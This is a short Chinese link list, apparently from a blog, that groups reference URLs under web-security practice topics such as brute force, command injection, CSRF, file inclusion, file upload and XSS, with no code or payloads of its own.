https://blog.csdn.net/Cai1010110/article/details/102734879
https://www.jianshu.com/p/757626cec742
暴力破解参考
https://www.cnblogs.com/pangsong/p/12194227.html
https://blog.csdn.net/qq_44105778/article/details/88319572
命令注入参考
https://blog.csdn.net/qq_36119192/article/details/82917250
CSRF参考
https://www.cnblogs.com/bmjoker/p/9084451.html
https://blog.csdn.net/qq_40529133/article/details/89068663
文件包含参考
https://www.freebuf.com/articles/web/119150.html
https://blog.csdn.net/ai_64/article/details/92411131
文件上传参考
https://www.freebuf.com/articles/web/119467.html
https://blog.csdn.net/qq_37757008/article/details/81408567
XSS参考
https://www.jianshu.com/p/3a12b1f2fdbd
https://www.jianshu.com/p/001daa7cf1f5
https://www.cnblogs.com/zhengna/p/12780934.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章